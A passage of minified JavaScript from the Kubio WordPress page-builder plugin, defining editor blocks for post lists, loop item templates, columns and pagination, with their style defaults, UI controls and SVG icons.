0.3)",blur:"6",spread:"0",x:"0",y:"3",inset:""}]},background:{color:"rgba(var(--kubio-color-5),1)"},padding:{bottom:{value:1,unit:"em"}},border:{top:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}},right:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}},bottom:{radius:{right:{value:8,unit:"px"},left:{value:8,unit:"px"}}},left:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}}}}}},props:{layout:{horizontalInnerGap:0,verticalInnerGap:0}}},slug:"default",label:(0,We.__)("Default","kubio")},[[hn.POST_FEATURED_IMAGE,{kubio:{style:{descendants:{container:{border:{top:{radius:{left:{value:8,unit:"px"},right:{value:8,unit:"px"}}},bottom:{radius:{right:{value:"",unit:"px"},left:{value:"",unit:"px"}}}}}}}},showPlaceholder:!1,imageSize:"cover",addLink:!1},[]],[hn.ROW,{kubio:{props:{layout:{itemsPerRow:1,equalWidth:!1,equalHeight:!0,verticalGap:1,horizontalGap:2}}}},[[hn.COLUMN,{kubio:{props:{layout:{horizontalInnerGap:0,verticalInnerGap:0}},_style:{descendants:{container:{columnWidth:{type:"flexgrow"},media:{tablet:{columnWidth:{type:"flexgrow"}},mobile:{columnWidth:{type:"flexgrow"}}}}}}}},[[hn.POST_TITLE,{kubio:{style:{descendants:{container:{textAlign:"left"}}}},headingType:"h4"},[]],[hn.POST_EXCERPT,{kubio:{style:{descendants:{text:{textAlign:"justify"}}}},content:"",wordCount:20},[]]]]]],[hn.ROW,{kubio:{props:{layout:{itemsPerRow:2,equalWidth:!1,equalHeight:!0,horizontalGap:2,verticalGap:0,horizontalInnerGap:0,verticalInnerGap:0}},style:{descendants:{container:{border:{top:{width:{value:1,unit:"px"},style:"solid",color:"rgba(var(--kubio-color-5-variant-2),1)",radius:{left:{value:"",unit:"px"},right:{value:"",unit:"px"}}}}}}}}},[[hn.COLUMN,{kubio:{props:{layout:{verticalAlign:"center"}},_style:{descendants:{container:{columnWidth:{type:"custom",custom:{value:50,unit:"%"}},media:{tablet:{columnWidth:{type:"custom",custom:{value:50,unit:"%"}}},mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}},style:{descendants:{inner:{textAlign:"left"}}}}},[[hn.POST_META,{kubio:{},separator:"|",showIcons:!1,dateFormat:"M j",metadata:[{value:"author",name:(0,We.__)("Author","kubio"),check:!1,icon:"font-awesome/user",id:0,prefix:"",suffix:""},{value:"date",name:(0,We.__)("Date","kubio"),check:!0,icon:"font-awesome/calendar",id:1,prefix:"on",suffix:""},{value:"time",name:(0,We.__)("Time","kubio"),check:!1,icon:"font-awesome/clock-o",id:2,prefix:"",suffix:""},{value:"comments",name:(0,We.__)("Comments","kubio"),check:!1,icon:"font-awesome/comment",id:3,prefix:"",suffix:""}]},[]]]],[hn.COLUMN,{kubio:{_style:{descendants:{container:{columnWidth:{type:"custom",custom:{value:50,unit:"%"}},media:{tablet:{columnWidth:{type:"custom",custom:{value:50,unit:"%"}}},mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}},props:{layout:{verticalAlign:"center"}},style:{descendants:{inner:{textAlign:"right"}}}}},[[hn.POST_READ_MORE,{kubio:{props:{buttonWidth:"fitToContent",iconPosition:"after",showIcon:!0,buttonSize:"custom",horizontalAlign:"center",customWidth:{lastHorizontalPadding:{left:{unit:"px",value:"24"},right:{unit:"px",value:"24"}}}},style:{descendants:{icon:{size:{unit:"px",value:16},margin:{left:{value:10,unit:"px"},right:{value:"10",unit:"px"}}},link:{textAlign:"center",typography:{color:"rgba(var(--kubio-color-1),1)",family:"Open Sans",margin:{top:"",bottom:"2rem"},size:{unit:"px",value:"12"},weight:"600",lineHeight:{value:"1",unit:""},transform:"uppercase",letterSpacing:{value:"1",unit:"px"}},border:{top:{radius:{right:{value:5,unit:"px"},left:{value:5,unit:"px"}}},bottom:{radius:{right:{value:5,unit:"px"},left:{value:5,unit:"px"}}}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},right:{unit:"px",value:0},left:{unit:"px",value:0}},states:{hover:{border:{right:{color:"rgba(var(--kubio-color-1-variant-4),1)"}},typography:{color:"rgba(var(--kubio-color-2),1)"}}},justifyContent:"center"},spacing:{textAlign:"right"}}}},text:(0,We.__)("Read more","kubio"),link:{value:"",typeOpenLink:"sameWindow",noFollow:!1,lightboxMedia:""},preserveSpace:{text:!1},icon:{name:(0,We.__)("font-awesome/arrow-right","kubio")}},[]]]]]]]]],yP=(0,Ze.mergeNoArrays)({},lr,{NO_FOUND:"notfound"}),kP={[yP.CONTAINER]:{supports:{filters:{background:{types:["none","image","gradient"]}}}},[yP.NO_FOUND]:{internal:!0}},fP=(0,Ze.mergeNoArrays)({},ur,kP),_P=({className:e,loopAttributes:t,rowClientId:o,providerData:n,selectLoopBlock:a,forceRefreshParent:i})=>{const r=(0,Le.useRegistry)(),s=(0,Ne.useDeepMemo)((()=>t),[t]);return(0,Me.useEffect)((()=>{!async function(){await r.dispatch("core/block-editor").updateBlockAttributes(o,s),i()}()}),[s,o]),(0,Je.jsx)(bP,{...n,selectLoopBlock:a,children:(0,Je.jsx)(st.BlockList,{className:e})})},vP=({className:e,blocks:t,providerData:o,loopAttributes:n,jsComponentProps:a})=>{const i=(0,Le.useSelect)((e=>e("core/block-editor").getSettings()),[]),{selectBlock:r}=(0,Le.useDispatch)("core/block-editor"),{queryLoopClientId:s}=o,l=(0,Me.useCallback)((()=>r(s)),[r,s]),[u,c]=(0,Me.useState)([(0,gt.createBlock)(hn.ROW,n,[])]),p=(0,Ne.useDeepMemo)((()=>t),[t]);(0,Me.useEffect)((()=>{const e=u[0].innerBlocks;if(!Fm()(e,p)){const e=je().cloneDeep(u),t=e[0];t.innerBlocks=p,t.attributes=m,je().set(e,[0,"innerBlocks"],p),c(e)}}),[p]);const d=u[0].clientId,m=(0,Ne.useDeepMemo)((()=>n),[n]),[,h]=(0,Me.useState)(),b=(0,Me.useRef)();return(0,Me.useEffect)((()=>()=>{clearTimeout(b.current)}),[]),p&&0!==p.length?(e=Ge()(e,"kubio-loop-preview-block-list","components-disabled"),(0,Je.jsx)(st.BlockEditorProvider,{value:u,settings:i,children:(0,Je.jsx)(_P,{jsComponentProps:a,className:e,loopAttributes:n,rowClientId:d,forceRefreshParent:()=>{clearTimeout(b.current),b.current=setTimeout((()=>{h(Math.random())}),100)},providerData:o,selectLoopBlock:l})})):null},xP=({isPreviewed:e,toggleIsPreviewed:t})=>{const{dataHelper:o}=(0,Ne.useKubioBlockContext)(),n=(0,bt.useInheritedTextAlign)();return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Not found text style","kubio"),children:[(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsx)(Re.Button,{onClick:()=>t(!e),isPrimary:!0,isPressed:e,className:"kubio-button-100 mobile-menu-button",children:e?(0,We.__)("Show posts list","kubio"):(0,We.__)("Show not found text","kubio")})}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",type:Ne.WithDataPathTypes.STYLE,style:yP.NO_FOUND,defaultValue:(0,bt.useInheritedTypographyValue)("h2","color")}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",type:Ne.WithDataPathTypes.STYLE,style:yP.NO_FOUND,nodeType:o.getProp("isLead")?"lead":"h2"}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Text align","kubio"),path:"textAlign",defaultValue:n,useContentAlignIcons:!1,skipJustify:!0,type:Ne.WithDataPathTypes.STYLE,style:yP.NO_FOUND}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Margin","kubio"),path:"margin",style:yP.NO_FOUND,capMin:!1,min:-1/0})]})},CP=[hn.LOOP_ITEM],IP=(0,De.compose)((0,Ne.withRemoveOnEmptyInnerBlocks)(),Ne.composeWithKubioDataAndStyle)((({loopProps:e={},...t})=>{var o,n;const{clientId:a,dataHelper:i,setAttributes:r,attributes:s,context:l}=t,u=(({clientId:e,context:t})=>{const o=(0,Me.useRef)(),n=(0,Le.useSelect)((n=>{const{getBlock:a,getBlockParents:i,getBlockRootClientId:r}=n("core/block-editor"),s=a(r(e)),{attributes:l={}}=s||{},{query:u,useMainQuery:c}=l,p={query:u,useMainQuery:c},d=je().merge({},t,p);return Fm()(o.current,d)||(o.current=d),o.current}),[t]);return n})({clientId:a,context:l}),c=(0,Ne.useDeepMemo)((()=>({...t,context:u})),[t,u]),p=(0,Me.useRef)(),d=(0,st.useBlockProps)({ref:p}),m=(0,Me.useRef)(),h=(0,Ae.merge)({loopItemType:hn.LOOP_ITEM,defaultQuery:{blockType:hn.QUERY,attributes:{postType:"post",perPage:3}},defaultLoopTemplates:gP},e),b=(0,Ne.useActiveMedia)(),{isLoading:g,isEmpty:y,previewInnerBlocks:k,entities:f,isEditingTemplate:_,toggleIsEditingTemplate:v,kind:x}=mP(c,h),C=bn();(0,Me.useEffect)((()=>{!0!==i.getProp("layout.equalWidth")&&(0,Ne.silentDispatch)((()=>r({kubio:{...(0,Ae.set)(s.kubio,"props.layout.equalWidth",!0)}})),!0)}),[]);const I=(0,Ne.useDeepMemo)((()=>({entities:f,isEditingTemplate:_,toggleIsEditingTemplate:v,queryLoopClientId:a,previewInnerBlocks:k})),[f,_,v,a,k]),[E,T]=(0,Me.useState)(0),S=(0,op.useGetGlobalSessionProp)("ready",!1),w=(0,Me.useRef)();(0,Me.useEffect)((()=>(S&&(w.current=setTimeout((()=>{T(Math.random())}),1e3)),()=>{clearTimeout(w.current)})),[S]);const P=null==c||null===(o=c.attributes)||void 0===o||null===(n=o.kubio)||void 0===n?void 0:n.hash,A=(0,Ne.useDeepMemo)((()=>({isLoading:g,targetSelector:".kubio-loop-preview-block-list > .wp-block-kubio-row > ."+(0,Ne.getStyledElementBemClass)(hn.ROW,yP.INNER),forceDisable:_,refreshDeps:{activeMedia:b,kubioHash:P,isEditingTemplate:_,editorRefreshedToken:E},loopRef:m})),[g,_,m,P,b,E]),{isEnabled:j,jsComponentProps:B}=((e,{targetSelector:t,isLoading:o=!1,forceDisable:n=!1,refreshDeps:a=[],loopRef:i}={})=>{var r;const s=(null==e||null===(r=e.attributes)||void 0===r?void 0:r.masonry)||!1,l=s&&!n&&!o,u=(0,Ne.useJSComponentProps)("masonry",{enabled:l,targetSelector:t}),c=(0,Me.useRef)(),{getFrontendComponentFunction:p}=(0,Ne.useFrontEndComponent)({clientId:e.clientId,ref:c,componentName:"masonry"}),d=p("stop",300),m=p("start",300),h=(0,Me.useCallback)((()=>{l?(m(),k.current=!0):k.current&&(d(),k.current=!1)}),[l,m,d]),b=(0,Me.useRef)(),g=n||o||!s,y=(0,Me.useRef)();(0,Me.useLayoutEffect)((()=>{var e;if(g)return()=>{var e;null==b||null===(e=b.current)||void 0===e||e.disconnect()};const t=new MutationObserver((function(e){let t=!1;e.forEach((function(e){t||e.addedNodes.forEach((e=>{var o;t||(null!=e&&null!==(o=e.classList)&&void 0!==o&&o.contains("block-editor-inserter")&&(t=!0),"function"==typeof(null==e?void 0:e.getAttribute)&&(null==e?void 0:e.getAttribute("data-kubio"))===hn.LOOP_ITEM&&(t=!0))}))})),t&&(y.current=setTimeout((()=>{h()}),0))}));return null===(e=b.current)||void 0===e||e.disconnect(),b.current=t,null==t||t.observe(i.current,{subtree:!0,childList:!0}),()=>{try{var e;null==b||null===(e=b.current)||void 0===e||e.disconnect()}catch(e){}}}),[h,g]);const k=(0,Me.useRef)(!1),f=(0,Ne.useDeepMemo)((()=>a),[a]);return(0,Me.useLayoutEffect)((()=>{const e=setTimeout((()=>{h()}),100),t=setTimeout((()=>{h()}),2e3);return()=>{clearTimeout(e),clearTimeout(t)}}),[h,l,f]),(0,Me.useEffect)((()=>()=>{clearTimeout(y.current)}),[]),{jsComponentProps:{...u,ref:c},isEnabled:s&&!n}})(c,A),{selectBlock:N}=(0,Le.useDispatch)("core/block-editor"),O=e=>{e.preventDefault(),e.stopPropagation(),N(a)};let R=null;const[D,L]=(0,Me.useState)(!1);if((0,Me.useEffect)((()=>{(0,Ne.isKubioEditor)()||v(!1)}),[b]),g)R=(0,Je.jsx)("div",{ref:p,...d,"data-kubio":"kubio-loading-loop",children:(0,Je.jsx)(ut.LoadingPlaceholder,{})});else if(D){const e=e=>{var t,o;return(0,Je.jsx)(e.Inner,{children:(0,Je.jsx)("h2",{className:"kubio-empty-query-result",children:(0,Je.jsx)("span",{dangerouslySetInnerHTML:{__html:(null!==(t=null==s?void 0:s.notFound)&&void 0!==t?t:(0,We.__)("No {post_title} found!","kubio")).replace("{post_title}",null!==(o=null==x?void 0:x.label)&&void 0!==o?o:(0,We.__)("Post","kubio"))}})})})};R=(0,Je.jsx)(wr,{...c,allowedBlocks:CP,templateLock:"all",skipRemoveOnEmpty:!0,customInnerStyledElement:e})}else if(y)R=(0,Je.jsx)("div",{ref:p,...d,"data-kubio":"kubio-no-item-loop",children:(0,Je.jsx)(ut.SmallPlaceholder,{message:(0,We.__)("No results found.","kubio")})});else if(_)R=(0,Je.jsxs)("div",{className:"kubio-loop-editing-wrapper",children:[(0,Je.jsx)(Re.Flex,{justify:"center",children:(0,Je.jsx)(Re.FlexItem,{children:(0,Je.jsx)("h4",{className:"kubio-ui-reset",children:(0,We.sprintf)(// translators: %s is the post title // translators: %s is the post title (0,We.__)('Currently editing the "%s" item template',"kubio"),pP[_])})})}),(0,Je.jsx)(wr,{...c,allowedBlocks:CP,templateLock:"all",skipRemoveOnEmpty:!0,customContainerProps:B}),(0,Je.jsx)(Re.Flex,{justify:"center",children:(0,Je.jsx)(Re.FlexItem,{children:(0,Je.jsx)(Re.Button,{onClick:()=>v(!1),isPrimary:!0,icon:wg,children:(0,We.__)("Done","kubio")})})})]});else{const e={ref:p,...d,...B,"data-kubio":"kubio-preview-loop",onClick:O};R=(0,Je.jsxs)("div",{...e,children:[(0,Je.jsx)(vP,{blocks:k,providerData:I,loopAttributes:s}),!(0,Ne.isKubioEditor)()&&(0,Je.jsx)("div",{...C,style:{display:"none"}})]})}const M=c.context.useMainQuery;return(0,Je.jsxs)(bP,{...I,children:[(0,Je.jsx)(kr,{onlyEqualWidth:!0,afterComponent:(0,Je.jsx)(aP,{...c}),supportsEqualHeightColumns:!j,supportsHorizontalPosition:!j}),(0,Je.jsx)(cr,{afterBackgroundSection:(0,Je.jsx)(Je.Fragment,{children:M&&(0,Je.jsx)(xP,{isPreviewed:D,toggleIsPreviewed:L})})}),(0,Je.jsx)("div",{ref:m,children:R})]})})),EP=(0,Sn.extendBlockMeta)({name:"kubio/row",title:"Columns",category:"kubio-basic",attributes:{kubio:{type:"object"},templateLock:{type:"string"}},supports:{anchor:!0,disabledOnSimpleMode:!0,kubio:{appearanceEffect:!0,props:{fullBackground:{type:"boolean"},layout:{type:"object"}},elementsEnum:{CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{container:{wrapper:!0,default:!0,supports:{separator:!0,background:!0}},center:{},inner:{props:{className:["h-row"]}},outerGaps:{selector:"> * > .h-row > [class*='h-col-'] > [class*='h-px-']"},innerGaps:{selector:" > * > .h-row > [class*='h-col-']"}},template:{type:"element",props:{name:"container"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{fullBackground:!1,layout:{equalWidth:!1,equalHeight:!0,itemsPerRow:2,verticalAlign:"center",horizontalAlign:"center",horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{itemsPerRow:1,horizontalGap:0}}}}}}}},{name:"kubio/query-loop",category:"kubio-blog-components",usesContext:["queryId","query","queryContext","useMainQuery","postId","postType"],attributes:{kubio:{type:"object",default:{props:{layout:{equalWidth:!0,equalHeight:!1,itemsPerRow:3,verticalAlign:"start"}}}},masonry:{type:"boolean",default:!1},notFound:{type:"string"}},supports:{kubio:{appearanceEffect:!1,defaults:{style:{descendants:{notfound:{typography:{},margin:{top:{value:250,unit:"px"},bottom:{value:250,unit:"px"}}}}}},elementsEnum:{NO_FOUND:"notfound"},elementsByName:{notfound:{selector:".kubio-empty-query-result"}}},reusable:!1,html:!1}},{attributes:{templates:{type:"array",default:[]}}}),TP=(0,Sn.extendBlockMeta)(EP,{title:(0,We.__)("Post list","kubio"),description:(0,We.__)("You can show off some of your most recent or popular blog posts on any page youβd like.","kubio"),icon:Tn.BlockIcons.BlogPosts,keywords:[(0,We.__)("loop","kubio"),(0,We.__)("query","kubio"),(0,We.__)("posts","kubio"),(0,We.__)("articles","kubio")],providesContext:{"kubio/parentKubio":"kubio"},attributes:{notFound:{default:(0,We.__)("No {post_title} found!","kubio")}},apiVersion:2,supports:{kubio:{elementsByName:fP},reusable:!1,html:!1},edit:IP,save:({attributes:e,innerBlocks:t})=>(0,Je.jsx)(st.InnerBlocks.Content,{})}),SP=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z"})}),wP=({isEditingTemplate:e,toggleIsEditingTemplate:t,slug:o})=>{const n=e?(0,We.__)("Done editing","kubio"):(0,We.__)("Edit item","kubio");return(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.ToolbarButton,{icon:SP,label:n,onClick:()=>{t(!e&&o)}})})})},PP=({isEditingTemplate:e,toggleIsEditingTemplate:t,slug:o})=>!e&&(0,Je.jsxs)("div",{className:"kubio-loop-item-overlay-wrapper",children:[(0,Je.jsx)("div",{className:"kubio-loop-item-overlay"}),(0,Je.jsx)("div",{className:"kubio-loop-item-overlay-controls",children:(0,Je.jsx)(Re.Button,{isPrimary:!0,onClick:e=>{e.preventDefault(),e.stopPropagation(),t(o)},children:(0,We.__)("Edit item template","kubio")})})]}),AP=(0,De.compose)((0,Ne.withKubioDataAndStyle)())((e=>{const{attributes:t,isSelected:o}=e,{slug:n}=t,{entities:a,isEditingTemplate:i,toggleIsEditingTemplate:r,selectLoopBlock:s}=(0,Me.useContext)(hP),l=(0,Le.useRegistry)().select("core/block-editor"),u=l.getBlockIndex(e.clientId,l.getBlockRootClientId(e.clientId)),c=(0,Me.useMemo)((()=>{const e=null==a?void 0:a[u];return e?{...e,postType:e.type,postId:e.id}:{}}),[a]),{clearSelectedBlock:p}=(0,Le.useDispatch)("core/block-editor"),d=(0,Me.useMemo)((()=>i?i&&i!==n?"kubio-loop-item-hide":"kubio-loop-item-edit":"kubio-loop-item-editor-preview"),[i,n]);(0,Me.useEffect)((()=>{o&&!i&&s&&(p(),s())}),[o,i,s]);const m=(0,Me.useMemo)((()=>(0,Je.jsx)(PP,{isEditingTemplate:i,slug:n,toggleIsEditingTemplate:r})),[i,n]);return!!c&&(0,Je.jsxs)(st.BlockContextProvider,{value:c,children:[i&&n===i&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(wP,{isEditingTemplate:i,slug:n,toggleIsEditingTemplate:r}),(0,Je.jsx)(ts,{}),(0,Je.jsx)(es,{onlyEqualWidth:!0,canOverlap:!1})]}),(0,Je.jsx)($r,{...e,containerClass:d,afterInnerBlocks:m})]},null==c?void 0:c.postId)})),jP=(0,Sn.extendBlockMeta)({name:"kubio/column",title:"Column",category:"kubio-basic",usesContext:["kubio/parentKubio"],parent:["kubio/row"],attributes:{kubio:{type:"object"}},supports:{anchor:!0,disabledOnSimpleMode:!1,kubio:{appearanceEffect:!0,default:{props:{internal:{type:"object",default:{heroSection:{type:"none"}}},overlapOptions:!1,layout:{horizontalGap:2,verticalGap:2,horizontalInnerGap:"inherit",verticalInnerGap:"inherit",verticalAlign:"start"}},style:{descendants:{container:{customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}}},inner:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"custom"},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}}},elementsEnum:{INNER:"inner",CONTAINER:"container",VSPACE:"v-space",ALIGN:"align"},elementsByName:{inner:{default:!0,props:{className:["d-flex","h-flex-basis"]},supports:{background:!0,separator:!0}},container:{wrapper:!0,props:{className:["d-flex"]}},align:{props:{className:["h-y-container","h-column__content","h-column__v-align"]}},"v-space":{selector:"> * > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:"kubio/query-loop-item",attributes:{slug:{type:"string",default:"default"},label:{type:"string",default:"Default"}},parent:["kubio/query-loop"],category:"kubio-layout",usesContext:["queryId","query","queryContext","kubio/parentKubio"]},{attributes:{label:{default:(0,We.__)("Default","kubio")}}}),BP=(0,Sn.extendBlockMeta)(jP,{title:(0,We.__)("Post item template","kubio"),__experimentalLabel:e=>e.slug===cP?(0,We.__)("Post item template","kubio"):(0,We.sprintf)(// translators: %s - is the template name e.g. Default item template , Odd item template // translators: %s - is the template name e.g. Default item template , Odd item template (0,We.__)("%s item template","kubio"),pP[e.slug]),icon:Tn.BlockIcons.PostItemTemplate,keywords:[],apiVersion:2,supports:{kubio:{elementsByName:br},reusable:!1,html:!1},edit:AP,save:()=>(0,Je.jsx)(st.InnerBlocks.Content,{})}),NP=[hn.LOOP_ITEM];(0,Pe.addFilter)("kubio.should-allow-unlink","kubio.should-allow-unlink.loop-item-content",((e,{name:t})=>-1===NP.indexOf(t)&&e));const OP={query:te,loop:oe,loopItem:ne},RP=(0,Sn.extendBlockMeta)({name:"kubio/row",title:"Columns",category:"kubio-basic",attributes:{kubio:{type:"object"},templateLock:{type:"string"}},supports:{anchor:!0,disabledOnSimpleMode:!0,kubio:{appearanceEffect:!0,props:{fullBackground:{type:"boolean"},layout:{type:"object"}},elementsEnum:{CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{container:{wrapper:!0,default:!0,supports:{separator:!0,background:!0}},center:{},inner:{props:{className:["h-row"]}},outerGaps:{selector:"> * > .h-row > [class*='h-col-'] > [class*='h-px-']"},innerGaps:{selector:" > * > .h-row > [class*='h-col-']"}},template:{type:"element",props:{name:"container"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{fullBackground:!1,layout:{equalWidth:!1,equalHeight:!0,itemsPerRow:2,verticalAlign:"center",horizontalAlign:"center",horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{itemsPerRow:1,horizontalGap:0}}}}}}}},{apiVersion:2,name:"kubio/query-pagination",category:"kubio-blog-components",usesContext:["queryId","query","queryContext","useMainQuery"]}),DP=({clientId:e,name:t,setAttributes:o})=>{var n;const{blockType:a,defaultVariation:i,variations:r}=(0,Le.useSelect)((e=>{const{getBlockVariations:o,getBlockType:n,getDefaultBlockVariation:a}=e("core/blocks");return{blockType:n(t),defaultVariation:a(t,"block"),variations:o(t,"block")}}),[t]),{replaceInnerBlocks:s}=(0,Le.useDispatch)("core/block-editor"),l=(0,st.useBlockProps)();return(0,Je.jsx)("div",{...l,children:(0,Je.jsx)(st.__experimentalBlockVariationPicker,{icon:null==a||null===(n=a.icon)||void 0===n?void 0:n.src,label:null==a?void 0:a.title,variations:r,onSelect:(t=i)=>{t.attributes&&o(t.attributes),t.innerBlocks&&s(e,(0,gt.createBlocksFromInnerBlocksTemplate)(t.innerBlocks),!1)}})})};function LP({parentClientId:e}){const{selectBlock:t}=(0,Le.useDispatch)("core/block-editor"),[,o]=(0,Oe.useCurrentInspectorTab)(),{debouncedShowOverlay:n}=Ue(),a=(0,st.useBlockProps)(),i=(0,Je.jsxs)("span",{children:[(0,We.__)("Pagination is not visible when post filtering is enabled. Click ","kubio"),(0,Je.jsx)("a",{onClick:async a=>{a.preventDefault(),a.stopPropagation(),await t(e),o("content"),n(".kubio-section-post-list-panel")},children:(0,We.__)("here","kubio")}),(0,We.__)(" to change the post filtering settings","kubio")]});return(0,Je.jsx)("div",{...a,children:(0,Je.jsx)(ut.BlockPlaceholder,{title:i,isSmall:!0})})}const MP=(0,Je.jsxs)(Re.SVG,{"data-name":"Layer 1",xmlns:"http://www.w3.org/2000/SVG",viewBox:"0 0 47 47",children:[(0,Je.jsx)(Re.Rect,{x:"19.74",y:"2.48",width:"24.38",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"2.48",width:"11.56",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"10.63",width:"41.25",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"6.56",width:"24.38",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"32.57",y:"6.56",width:"11.56",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"15.14",y:"14.71",width:"28.98",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"14.71",width:"6.96",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"19.74",y:"18.64",width:"24.38",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"18.64",width:"11.56",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"26.8",width:"41.25",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"22.72",width:"24.38",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"32.57",y:"22.72",width:"11.56",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"15.14",y:"30.87",width:"16.11",height:"1.3"}),(0,Je.jsx)(Re.Rect,{x:"2.87",y:"30.87",width:"6.96",height:"1.3"}),(0,Je.jsx)(Re.Path,{d:"M26.08,45.52H20.64a1,1,0,0,1-1-1V39.06a1,1,0,0,1,1-1h5.44a1,1,0,0,1,1,1V44.5A1,1,0,0,1,26.08,45.52Zm-5.44-6.58a.12.12,0,0,0-.12.12V44.5a.12.12,0,0,0,.12.12h5.44a.12.12,0,0,0,.12-.12V39.06a.12.12,0,0,0-.12-.12Z"}),(0,Je.jsx)(Re.Path,{d:"M24.41,43H22.83a1.82,1.82,0,0,1,.73-.7l.29-.18a1.32,1.32,0,0,0,.8-1.14c0-.63-.49-1-1.24-1a1.38,1.38,0,0,0-1,.36,1.3,1.3,0,0,0-.33.61s0,.06,0,.09a.33.33,0,0,0,.28.33h.1a.34.34,0,0,0,.34-.25.53.53,0,0,1,.6-.48c.13,0,.53,0,.53.37s-.11.37-.54.65l-.3.2a2.38,2.38,0,0,0-.88.88,1.46,1.46,0,0,0-.18.57.38.38,0,0,0,.41.41h2a.34.34,0,0,0,0-.68Z"}),(0,Je.jsx)(Re.Path,{d:"M30,41.7a.92.92,0,0,0,.37-.79c0-.61-.49-1-1.22-1a1.19,1.19,0,0,0-1.23.73.32.32,0,0,0,0,.14.33.33,0,0,0,.24.31l.14,0a.32.32,0,0,0,.31-.21.5.5,0,0,1,.55-.34c.2,0,.53.05.53.41s-.39.45-.59.45h-.24a.23.23,0,0,0-.22.08.36.36,0,0,0-.1.26.35.35,0,0,0,.11.26.28.28,0,0,0,.21.08H29q.66,0,.66.48c0,.37-.32.5-.63.5s-.57-.19-.64-.37A.36.36,0,0,0,28,42.5a.33.33,0,0,0-.26.31.29.29,0,0,0,0,.14,1.24,1.24,0,0,0,1.31.77c.83,0,1.36-.44,1.36-1.12A.94.94,0,0,0,30,41.7Z"}),(0,Je.jsx)(Re.Path,{d:"M17.85,40l-.6,0a.35.35,0,0,0-.34.36.34.34,0,0,0,.36.34h.38v2.68a.32.32,0,0,0,.36.33.33.33,0,0,0,.35-.34V40.52C18.36,40.23,18.3,40,17.85,40Z"}),(0,Je.jsx)(Re.Path,{d:"M6.34,43.36A.43.43,0,0,1,6,43.24l-1-1a.67.67,0,0,1,0-.95l1-1a.44.44,0,0,1,.63,0,.46.46,0,0,1,0,.64l-.85.8.85.8a.46.46,0,0,1,0,.64A.45.45,0,0,1,6.34,43.36Z"}),(0,Je.jsx)(Re.Path,{d:"M8.69,45.14H3a.6.6,0,0,1-.6-.59V39a.6.6,0,0,1,.6-.59H8.69a.45.45,0,0,1,.45.45v5.82A.45.45,0,0,1,8.69,45.14Zm-5.37-.9H8.24V39.32H3.32Z"}),(0,Je.jsx)(Re.Path,{d:"M40.67,43.36a.47.47,0,0,1-.33-.14.46.46,0,0,1,0-.64l.85-.8-.85-.8a.46.46,0,0,1,0-.64.44.44,0,0,1,.63,0l1,1a.67.67,0,0,1,0,1l-1.05,1A.42.42,0,0,1,40.67,43.36Zm.72-1.42h0Z"}),(0,Je.jsx)(Re.Path,{d:"M44,45.14H38.31a.45.45,0,0,1-.45-.45V38.87a.45.45,0,0,1,.45-.45H44a.6.6,0,0,1,.6.59v5.54A.6.6,0,0,1,44,45.14Zm-5.22-.9h4.92V39.32H38.76Z"})]}),WP=(0,Je.jsxs)(Re.SVG,{id:"Layer_1","data-name":"Layer 1",xmlns:"http://www.w3.org/2000/SVG",viewBox:"0 0 47 